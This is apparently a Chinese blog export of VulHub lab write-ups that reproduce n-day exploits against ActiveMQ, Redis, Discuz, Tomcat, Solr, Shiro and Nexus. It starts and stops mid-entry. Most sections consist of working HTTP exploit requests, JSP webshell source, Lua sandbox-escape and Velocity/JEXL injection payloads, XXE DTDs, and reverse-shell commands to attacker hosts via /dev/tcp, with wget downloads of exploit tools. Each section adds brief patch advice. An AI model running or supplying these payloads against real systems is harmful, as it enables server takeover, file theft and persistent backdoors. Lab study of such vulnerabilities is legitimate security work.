写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径. 分别说一下上述几种利用方法. 写入webshell前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问. 默认的ActiveMQ账号密码均为admin,首先访问http://103.116.46.7:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径: 然后上传webshell: 12345678910111213141516171819202122PUT /fileserver/1.txt HTTP/1.1Host: 103.116.46.7:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 334<%@ page import="java.io.*"%><% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); }%> 移动到web目录下的api文件夹(/opt/activemq/webapps/api/a.jsp)中 12345678910MOVE /fileserver/1.txt HTTP/1.1Destination: file:///opt/activemq/webapps/api/a.jspHost: 103.116.46.7:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 0 利用该版本存在的未授权访问漏洞,不用登录,访问http://103.116.46.7:8161/api/a.jsp?cmd=ls,下图可以看到成功执行命令 漏洞修复ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除.建议用户升级至 5.14.0 及其以后版本 Redis 4-unacc未授权访问漏洞漏洞复现此靶机不要使用云服务器,否则后面无法连接 使用nmap扫描靶机端口 如下图所示,redis服务正常开启了,在6379端口 攻击机用直接用redis连接,发现可直接访问,还能通过info命令查看到服务器等一些有价值的信息 这足以证明存在未授权访问漏洞 接下来使用网上存在的 exp,先下载到本地,命令 1234567wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/other/redis-rogue-getshell-master.zipunzip redis-rogue-getshell-master.zipcd redis-rogue-getshell-master/RedisModulesSDK# 编译(编译后,当前目录下会有一个exp.so的文件)makecd .././redis-master.py -r 靶机IP -p 6379 -L 攻击机IP -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami" 成功GETSHELL并执行了whoami的命令 Redis Lua沙盒绕过命令执行(CVE-2022-0543)漏洞概述影响范围 : Debian 系的 Linux 发行版本 + Ubuntu CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码 漏洞原理redis一直有一个攻击面,就是在用户连接redis后,可以通过eval命令执行lua脚本. 但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件 所以这个CVE本质是一个沙箱绕过漏洞 Ubuntu/Debian/CentOS等这些发行版本会在原始软件的基础上打一些补丁包给Redis打了一个的补丁,增加了一个include, 下面是Debian通过shell使用make生成补丁包的源码 : 12345678debian/lua_libs_debian.c: echo "// Automatically generated; do not edit." >$@ echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@ set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \\ echo "if (luaL_dostring(lua, \\"$$X = require('$$X');\\"))" >>$@; \\ echo " serverLog(LL_NOTICE, \\"Error loading $$X library\\");" >>$@; \\ done echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@ luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package)就是漏洞的来源,. 这段代码原本在redis源码里已经是被注释了的, 将其注释掉的原因就是for sandboxing concerns Debian的这个补丁却把这句话重新写进去了, 导致在 Lua 沙箱中遗留了一个对象package,攻击者可以利用这个package对象提供的方法加载动态链接库liblua 里的函数,进而逃逸沙箱执行任意命令 借助 Lua 沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令. 需要注意的一点是 : 不同系统下liblua5.1.so.0的路径可能不同 我们可以利用这个模块,来加载任意Lua库,最终逃逸沙箱,执行任意命令: 1234567local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");local io = io_l();local f = io.popen("id", "r");local res = f:read("*a");f:close();return reseval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0 漏洞复现 直接通过redis-cli -h 127.0.0.1进入redis里面进行测试 使用eval命令执行上述脚本: 1eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0 最后的一点话 : 之所以Ubuntu也受到影响是因为Ubuntu基于Debian, 所以就存在着同样的问题 Discuz 7.x/6.x 全局变量防御绕过导致代码执行漏洞概述​ 由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞. 利用条件: discuz 6.x / 7.x request_order默认值为GP 漏洞复现 访问漏洞环境http://192.168.164.128:8080/install/ 数据库地址填写db,数据库名为discuz,数据库账号密码均为root. 访问首页 安装成功以后,直接找一个已经存在的帖子,向其发送数据包,利用burpsite工具修改Cookie值 1234567891011GET /viewthread.php?tid=7&extra=page%3D1 HTTP/1.1Host: 192.168.164.128:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();Upgrade-Insecure-Requests: 1 修改完成后,点击发送请求,查看返回包 修复建议 升级版本 ThinkPHPThinkPHP 5 5.0.22/5.1.29 远程代码执行漏洞漏洞概述ThinkPHP是一款运用极广的PHP开发框架.其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞. 漏洞复现","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Tomcat漏洞复现","path":"/2023/04/28/76971e68/","content":"总字符数: 7.67K 代码: 0.57K, 文本: 2.05K 预计阅读时间: 11 分钟 Tomcat PUT方法 任意写入文件(CVE-2017-12615)漏洞概述当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件.之后,JSP 文件中的代码将能被服务器执行.影响版本: Apache Tomcat 7.0.0 – 7.0.81 漏洞复现方法一直接发送以下数据包即可在Web根目录写入shellhttp://192.168.2.188:8080/1.jsp?pwd=023&i=whoami 方法二(适用于Windows系统)添加文件名2.jsp%20,添加shell脚本 方法三(适用于Windows系统)添加文件名3.jsp::$DATA,添加shell脚本 修复建议 设置conf/webxml 文件的 readOnly 值为 Ture 或注释参数 禁用 PUT 方法并重启 tomcat 服务(如果禁用 PUT 方法,对于依赖PUT方法的应用,可能导致业务失效.) 升级到最新版本 使用WAF产品进行防御 Tomcat AJP 任意文件读取/包含漏洞(CVE-2020-1938)漏洞概述Java是目前Web开发中最流行的编程语言,Tomcat是最流行的Java中间件服务器之一.自首次发布以来,它已经使用了 20 多年.Ghostcat是长亭科技安全研究员发现的 Tomcat 中的一个严重漏洞.由于 Tomcat AJP 协议中的缺陷,攻击者可以读取或包含 Tomcat 的 webapp 目录中的任何文件.例如,攻击者可以读取 webapp 配置文件或源代码.此外,如果目标Web应用程序具有文件上传功能,攻击者可能通过Ghostcat漏洞利用文件包含在目标主机上执行恶意代码.影响版本: Apache Tomcat 6 Apache Tomcat 7 < 7.0.100 Apache Tomcat 8 < 8.5.51 Apache Tomcat 9 < 9.0.31 漏洞复现工具: -- GitHub - nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC: CNVD-2020-10487(CVE-2020-1938), tomcat ajp 文件读取漏洞poc CNVD-2020-10487-Tomcat-Ajp-lfi 使用其中任意一个POC文件进行验证,读取WEB-INF/web.xml文件必须使用python2读取ROOT目录下的build.xml文件内容可以看到,均可以成功读取. 修复建议未使用Tomcat AJP协议可以直接将 Tomcat 升级到 9.0.31、8.5.51或 7.0.100 版本进行漏洞修复.如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭AJPConnector,或将其监听地址改为仅监听本机localhost.具体操作: 编辑<CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录): <Connector port="8009"protocol="AJP/1.3"redirectPort="8443"/> 将此行注释掉(也可删掉该行): <!--<Connectorport="8009"protocol="AJP/1.3"redirectPort="8443"/>--> 保存后需重新启动,规则方可生效. 使用了Tomcat AJP协议建议将Tomcat立即升级到9.0.31、8.5.51或7.0.100版本进行修复,同时为AJP Connector配置secret来设置AJP协议的认证凭证.例如(注意必须将``YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):<br /><Connector port=”8009”protocol=”AJP/1.3”redirectPort=”8443”address=”YOUR_TOMCAT_IP_ADDRESS”secret=”YOUR_TOMCAT_AJP_SECRET”/>` Tomcat Session反序列化漏洞复现(cve_2020_9484)漏洞概述Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-9484. Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器.当Tomcat使用了自带session同步功能时,使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞,攻击者通过精心构造的数据包, 可以对使用了自带session同步功能的Tomcat服务器进行攻击. 成功利用此漏洞需要同时满足以下4个条件: 攻击者能够控制服务器上文件的内容和文件名称 服务器PersistenceManager配置中使用了FileStore PersistenceManager中的sessionAttributeValueClassNameFilter被配置为”null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象 攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径 影响版本 Apache Tomcat 10.0.0-M1-10.0.0-M4 Apache Tomcat 9.0.0.M1-9.0.34 Apache Tomcat 8.5.0-8.5.54 Apache Tomcat 7.0.0-7.0.103 漏洞复现 下载ysoserial,生成payload 1java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 "ping http://8iwrku.dnslog.cn" > /tmp/test.session 或者直接在环境中执行POC通过JSESSION加载恶意的session持久化文件 1curl 'http://123.58.224.8:8472/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test' Tomcat8访问http://192.168.2.188:8080/,可以看到环境已经启动成功尝试登录问题页面,发现需要输入密码,使用BURP抓包,发现并抓不到包,此时使用msf 12345msfconsolesearch tomcatuse 25set rhosts 192.168.2.188run 使用爆破后的账号密码登录后台管理页面,然后访问http://192.168.2.188:8080/manager/html/list创建shell.jsp 12<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> 生成war包木马jar cvf shell.war shell.jsp尝试上传文件上传jsp一句话木马,打包为war格式,上传出现报错,403是无权访问不代表没有返回,发现已经上传上去了,如果还没有请重新尝试访问http://192.168.2.188:8080/shell/shell.jsp?pwd=023&i=whoami","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Solr漏洞复现","path":"/2023/04/22/8b1ccd63/","content":"总字符数: 12.23K 代码: 3.92K, 文本: 2.54K 预计阅读时间: 28 分钟 Apache solr 命令执行(CVE-2017-12629)漏洞概述什么是Lucene?Lucene 是一个高效的,基于 Java 的全文检索库. Lucene 是 apache 软件基金会 4 jakarta 项目组的一个子项目,是一个开放源代码的全 文检索引擎工具包,但它不是一个完整的全文检索引擎,而是一个全文检索引擎的架构Lucene主要提供了一个简单、强大的应用程序接口.什么是solr?Solr 是基于 Lucene 的面向企业搜索的 web 应用 ,Solr 是一个独立的企业级搜索应用服务器.它对外提供类似于 Web-service 的 API 接 口.用户可以通过 http 请求,向搜索引擎服务器提交一定格式的 XML 文件,生成索引;也 可以通过 Http Get 操作提出查找请求,并得到 xml/json 格式的返回结果.注意是Solr来提供的http服务,Lucene不提供,他是一个应用程序接口.并且Solr对Lucene进行了扩展.提供了一个完善的功能管理界面,是一款非常优秀的全文检索引擎.影响版本: Apache Solr < 7.1 Apache Lucene < 7.1 漏洞复现命令执行在Solr中,能够触发命令执行的方式有两种.分别是postCommit和newSearcher. postCommit 首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数 123456789POST /solr/demo/config HTTP/1.1Host: your-ipAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 158{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c", "bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1"]}} 然后进行update操作,触发刚才添加的listener 1234567POST /solr/demo/update HTTP/1.1Host: 192.168.2.188:8983Content-Length: 17Content-Type: application/json[{"id":"test"}] 验证 newSearcher 构造Payload 123456POST /solr/demo/config HTTP/1.1Host: 192.168.25.130:8983Content-Length: 170Content-Type: application/json{"add-listener":{"event":"newSearcher","name":"newSearcher3","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c", "ping -c 3 vu920r.dnslog.cn"]}} 数据请求包里的name是可以随意的,但不能重复. 发送请求包 命令执行成功!只需要将ping命令进行更换,就可以执行你想要的命令,可以设置一个反弹shell的命令,然后监听端口即可getshell,方法一样,发包,换name和命令即可. 修复建议 由于涉及到的是 SolrCloud,所以建议在所有节点问题中添加过滤器,进行相关过滤 Apache solr XML 实体注入漏洞(CVE-2017-12629)漏洞描述Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.原理大致是文档通过Http利用XML加到一个搜索集合中.查询该集合也是通过 http收到一个XML/JSON响应来实现.此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629.影响版本: Apache solr<7.1.0 版本 漏洞复现 在自己的VPS目录下新建一个文档1.dtd,名字可以自取.在1.dtd内写入如下内容: 12<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>"> Python临时启动web服务python3 -m http.server 8080 打开demo的搜索页面后点击Execute Query进行抓包,修改部分参数即可达到XXE外部实体代码执行的操作 1GET /solr/demo/select?_=1666089179043&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f(你的远程服务器IP):8080%2f(dtd文件的名字).dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser HTTP/1.1 可能出现的问题: ?_=后面的时间戳可能不对 没有带cookie 修复建议 添加Solr访问控制,包括禁止本地直接未授权访问 升级版本至7.1,该版本已经解决了XML解析问题并删除了RunExecutableListener类 针对XXE可手动CoreParser.java,根据阻止根据解析产生XXE的点的方法修改DOM 123456789101112131415161718static Document parseXML(InputStream pXmlFile) throws ParserException { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = null; try { //protect from XXE attacks dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); db = dbf.newDocumentBuilder(); } catch (Exception se) { throw new ParserException("XML Parser configuration error", se); } org.w3c.dom.Document doc = null; try { doc = db.parse(pXmlFile); } Apache Solr 远程命令执行漏洞(CVE-2019-0193)漏洞概述Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据.它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置.由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行.影响版本: Apache solr < 8.2.0 漏洞复现 创建数据库docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db 访问地址http://192.168.2.188:8983/solr/#/已经可以选择数据库了 首先打开刚刚创建好的test核心,选择Dataimport功能并选择debug模式,填入以下POC 点击Execute with this Confuguration会发送以下请求包 123456789101112131415POST /solr/test/dataimport?_=1666090401089&indent=on&wt=json HTTP/1.1Host: 192.168.2.188:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestContent-Length: 677Origin: http://192.168.2.188:8983Connection: closeReferer: http://192.168.2.188:8983/solr/Cookie: JSESSIONID=vcl8jTQPScTrv2wL2GGBv6c4sRQyHpsJGTyvKQgh14LBVKrRMGgs!-301254551; ADMINCONSOLESESSION=Tg0RjTQKyVKckshvrTyhx8ZFnphCQZ1ZLQ6pWSpQLzL77TjLhTSc!-301254551command=full-import&verbose=false&clean=true&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22ping+frklr3.dnslog.cn%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport 验证结果 修复建议 升级至Apache 8.2.0或更高版本,其默认情况下是安全的(默认情况下DataImportHandler模块不启用) 编辑solrconfig.xml以使用”不变量”部分配置所有DataImportHandler用法,其中列出dataConfig参数设置为空字符串 确保配置了网络设置,以便只有受信任的流量与Solr通信,特别是与DIH请求处理程序通信.注:修复漏洞前请将资料备份,并进行充分测试. Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)漏洞概述用户可以注入自定义模板,通过Velocity模板语言执行任意命令影响版本: 5.0.0–8.3.1 漏洞复现 默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板.我们先通过如下API获取所有的核心http://192.168.2.188:8983/solr/admin/cores?indexInfo=false&wt=json 通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称 注入Velocity模板之后即可执行任意命令:http://192.168.2.188:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end 修复建议 建议升级Appache Salc到最新版 Apache Solr Remote-Streaming-Fileread漏洞概述Apache Solr的某些功能存在过滤不严格,在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或文件读取漏洞.漏洞范围: Apache Solr <= 8.8.1 **漏洞原理:**在未开启认证的情况下,攻击者可直接构造特定请求获取目标主机内敏感文件及资源 漏洞复现 首先,访问http://192.168.2.188:8983/solr/admin/cores?indexInfo=false&wt=json获取数据库名 打开BURP,发送数据包,进一步修改数据库配置 12345678910111213141516POST /solr/demo/config HTTP/1.1Host: 192.168.2.188:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=vcl8jTQPScTrv2wL2GGBv6c4sRQyHpsJGTyvKQgh14LBVKrRMGgs!-301254551; ADMINCONSOLESESSION=Tg0RjTQKyVKckshvrTyhx8ZFnphCQZ1ZLQ6pWSpQLzL77TjLhTSc!-301254551Upgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheContent-Type: application/jsonContent-Length: 82{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}} 再通过stream.url读取任意文件:curl -i -s -k "[http://192.168.2.188:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd](http://192.168.2.188:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd)" 修复建议官方无修复版本","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Shiro漏洞复现","path":"/2023/04/20/5458db23/","content":"总字符数: 5.55K 代码: 1.59K, 文本: 1.08K 预计阅读时间: 12 分钟 漏洞介绍Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理.使用Shiro易于理解的API,开发者可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序 在Shiro <= 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化.由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞 漏洞复现(CVE-2016-4437)检测使用burp抓取当前页面数据包,在cookie中添加rememberMe=1,在响应包中显示两个Set-Cookie: rememberMe=deleteMe,说明存在shiro框架可能存在漏洞 使用Shiro_tool进行检测12wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/shiro/shiro_tool.jarjava -jar shiro_tool.jar http://192.168.164.128:8080 反弹shell利用(CVE-2016-4437)云服务器监听 执行利用脚本 加密bash命令 注意:Java中的命令执行,并不是使用系统中的bash或是cmd进行的系统命令执行,而是使用JAVA本身,所以反弹shell的重定向符在JAVA中并不支持 手动加密 1. 将反弹shell的命令进行base64加密,填入下方 12# bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1bash -c {echo,YOUR-BASE64}|{base64,-d}|{bash,-i} 自动加密https://ares-x.com/tools/runtime-exec/ 使用JRMPListener二次反序列化1java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsBeanutils1 "bash -c {echo,YOUR-BASE64}|{base64,-d}{bash,-i}" 执行命令生成cookie123456789 # 下载脚本 wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/shiro/shiro.py# 下载依赖 python2 -m pip install pycryptodome -i http://pypi.douban.com/simple --trusted-host pypi.douban.com# 构造payload# 此处端口号需要与前面ysoserial监听模块端口一致python2 shiro.py 192.168.164.1:6666# 生成后的payloadrememberMe=Zzsowg/XQ6mX24rvRmm4nJeWl2jmxX4jATG/J4U/r98wz8P/TGs9h0zbkmqnfDV3cfreopZaerYpnnAwEX2AAP/yiQ3jqtmuj7BkS9gZSanHbdBYJ9NrZR0CcUNPm8JGGFXkjY70vvdPCH4yROTbMXeaI9zy45bu1ON8azkWKExgo9d2Q5eE1VV74HgD/xxdg1rooNlfuDSeT3MNwlek+JaHS+s9SX5co/AC8cRBj8q8aCXTh/FdV10RJElUGlmrxo5n0PI5kKs5UsYIynb4JYW46pBK+cVx98FZ9IZtv5l/16TD7vu62rKQhRsAhAVAtoQM8tiLKvQ0ZzP/9wZak5g+vWOPcxuhvlOl8gIYIRx48PqF6wlZehza+qH4N0OEHCg0JE+lz71uXKKMYyASVA== Burp发送恶意Cookie VPS上收到反弹Shell 漏洞修复(CVE-2016-4437)删除代码中的默认密钥升级Shiro到1.2.5及以上不要使用网上的密钥,可以自己base64生成一个AES密钥 环境搭建(CVE-2020-1957)p牛靶场:执行如下命令启动一个搭载Spring 2.2.2与Shiro 1.5.1的应用: 1docker-compose up -d 环境启动后,访问http://your-ip:8080即可查看首页.这个应用中对URL权限的配置如下: 12345678@Beanpublic ShiroFilterChainDefinition shiroFilterChainDefinition() { DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition(); chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form chainDefinition.addPathDefinition("/logout", "logout"); chainDefinition.addPathDefinition("/admin/**", "authc"); return chainDefinition;} 漏洞复现(CVE-2020-1957)直接请求管理页面/admin/,无法访问,将会被重定向到登录页面:构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面java绕过鉴权路由后加:..;或;或/","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Nexus漏洞复现","path":"/2023/04/15/5458db23/","content":"总字符数: 5.72K 代码: 3.69K, 文本: 0.86K 预计阅读时间: 20 分钟 Nexus Repository Manager 3 远程命令执行漏洞(CVE-2019-7238)漏洞描述Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库.其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞 利用版本 Nexus Repository Manager OSS/Pro 3.6.2-3.14.0 漏洞复现执行如下命令启动Nexus Repository Manager 3.14.0: 1docker-compose up -d 等待一段时间环境才能成功启动,访问http://your-ip:8081即可看到Web页面. 使用账号密码admin:admin123登录后台,然后在maven-releases下随便上传一个jar包: 触发该漏洞,必须保证仓库里至少有一个包存在.接口没有校验权限,所以直接发送如下数据包,即可执行touch /tmp/success命令: 1234567891011121314151617POST /service/extdirect HTTP/1.1Host: 192.168.64.144:8081Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/jsonX-Requested-With: XMLHttpRequestContent-Length: 384{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('curl http://pjcb8t.dnslog.cn')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8} 原理是expression位置的JEXL表达式被执行,详情可阅读参考文档. 利用classloader加载字节码即可获得回显: 相关漏洞利用脚本: https://raw.githubusercontent.com/mpgn/CVE-2019-7238/master/CVE-2019-7238.pyhttps://raw.githubusercontent.com/mpgn/CVE-2019-7238/master/CVE-2019-7238.py 1bash -i >& /dev/tcp/192.168.64.131/6666 0>&1 修复建议升级到最新版 Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199)漏洞描述在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于某处功能安全处理不当,导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码,获取系统权限.此漏洞的利用需要攻击者具备任意类型的账号权限. 利用版本 Nexus Repository Manager OSS/Pro 3.x <= 3.21.1 漏洞复现等待一段时间环境才能成功启动,访问http://your-ip:8081即可看到Web页面. 该漏洞需要至少普通用户身份,所以我们需要使用账号密码admin:admin登录后台. 登录后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式: 123456789101112131415161718192021222324252627282930POST /service/rest/beta/repositories/go/group HTTP/1.1Host: 192.168.64.144:8081Content-Length: 302X-Requested-With: XMLHttpRequestX-Nexus-UI: trueUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36NX-ANTI-CSRF-TOKEN: 0.5524715909690786Content-Type: application/jsonAccept: */*Origin: http://192.168.64.144:8081Sec-Fetch-Site: same-originSec-Fetch-Mode: corsReferer: http://192.168.64.144:8081/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie:NX-ANTI-CSRF-TOKEN=0.5524715909690786;NXSESSIONID=8257ec1b-8cd2-48e6-9506-52b287c22e39Connection: close{ "name": "internal", "online": true, "storage": { "blobStoreName": "default", "strictContentTypeValidation": true }, "group": { "memberNames": ["$\\\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('curl http://oxkbtb.dnslog.cn')}"] }} 修复建议 官方已发布新版本修复了该漏洞,建议升级至最新版本 Nexus Repository Manager 3 